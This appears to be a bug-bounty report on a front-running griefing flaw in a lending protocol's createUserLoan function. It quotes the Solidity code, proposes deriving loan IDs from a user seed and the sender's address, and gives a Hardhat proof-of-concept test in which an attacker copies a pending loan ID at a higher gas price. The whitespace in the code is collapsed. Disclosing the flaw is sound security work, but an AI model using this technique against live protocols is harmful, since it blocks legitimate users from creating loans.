Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The createUserLoan method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same loanId but with a higher gasPrice, causing the victim's transaction to be reverted due to the loan ID already being in use.
Vulnerability Details
The createUserLoan function currently checks if a loanId is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's loan creation request by submitting a transaction with the same loanId but with a higher gasPrice. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the loan ID collision.
The relevant code snippet from the createUserLoan method is:
contractLoanManagerisReentrancyGuard, ILoanManager, LoanManagerState { ...functioncreateUserLoan(bytes32 loanId,bytes32 accountId,uint16 loanTypeId,bytes32 loanName)externaloverrideonlyRole(HUB_ROLE)nonReentrant {// check loan types exists, is not deprecated and no existing user loan for same loan idif (!isLoanTypeCreated(loanTypeId)) revertLoanTypeUnknown(loanTypeId);if (isLoanTypeDeprecated(loanTypeId)) revertLoanTypeDeprecated(loanTypeId);if (isUserLoanActive(loanId)) revertUserLoanAlreadyCreated(loanId);// create loan UserLoan storage userLoan = _userLoans[loanId]; userLoan.isActive =true; userLoan.accountId = accountId; userLoan.loanTypeId = loanTypeId;emitCreateUserLoan(loanId, accountId, loanTypeId, loanName); } ...}
This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new loans on the protocol. By continuously front-running transactions, an attacker could effectively block all new loan creation attempts, causing significant disruption to the protocol's user base.
Recommendation
To mitigate this vulnerability, it is recommended to generate the loanId using a seed provided by the user and the sender's address. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the loanId.
The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted.
Add the code to the test\hub\LoanManager.test.ts
describe("CreateUserLoan Front-Running", () => {it("Chista0x-Front-Running-CreateUserLoan",async () => {const { hub,unusedUsers,admin,loanManager,loanTypeId,loanName } =awaitloadFixture(createUserLoanFixture);// Just for change nonce that simulate front-runningawaitloanManager.connect(admin).grantRole(HUB_ROLE, unusedUsers[0]);awaitloanManager.connect(admin).grantRole(HUB_ROLE, unusedUsers[1]);constloanId_Same:string=getRandomBytes(BYTES32_LENGTH);expect(awaitloanManager.isUserLoanActive(loanId_Same)).to.be.false;// set the mining behavior to false, so the transaction will be collected in the mempool, before finalizationawaitnetwork.provider.send("evm_setAutomine", [false]);// Victim made the transaction for create user loan with new loan idconstcreateUserLoan_victim=awaitloanManager.connect(unusedUsers[0]).createUserLoan(loanId_Same,getAccountIdBytes("ACCOUNT_ID_victim"), loanTypeId, loanName, { gasLimit:500000, gasPrice:ethers.parseUnits("100","gwei") });console.log("Victim TX Hash = ",createUserLoan_victim.hash);// attacker create front-running for victim transaction with same loanId (send trx with higher gasPrice)constcreateUserLoan_attacker=awaitloanManager.connect(unusedUsers[1]).createUserLoan(loanId_Same,getAccountIdBytes("ACCOUNT_ID_attacker"), loanTypeId, loanName, { gasLimit:500000, gasPrice:ethers.parseUnits("101","gwei") });console.log("Attacker TX Hash = ",createUserLoan_attacker.hash);constpendingBlock=awaitnetwork.provider.send("eth_getBlockByNumber", ["pending",false, ]);console.log("\n Pending Transactions = ",pendingBlock.transactions);// Manually create a block with the pending transactionsawaitnetwork.provider.send("evm_mine", []);// verify user loan is createdexpect(awaitloanManager.isUserLoanActive(loanId_Same)).to.be.true;expect(createUserLoan_attacker) .to.emit(loanManager,"CreateUserLoan").withArgs(loanId_Same,getAccountIdBytes("ACCOUNT_ID_attacker"), loanTypeId, loanName);expect(createUserLoan_victim) .to.be.revertedWithCustomError(loanManager,"UserLoanAlreadyCreated").withArgs(loanId_Same);expect(awaitloanManager.isUserLoanActive(loanId_Same)).to.be.true; // true }); });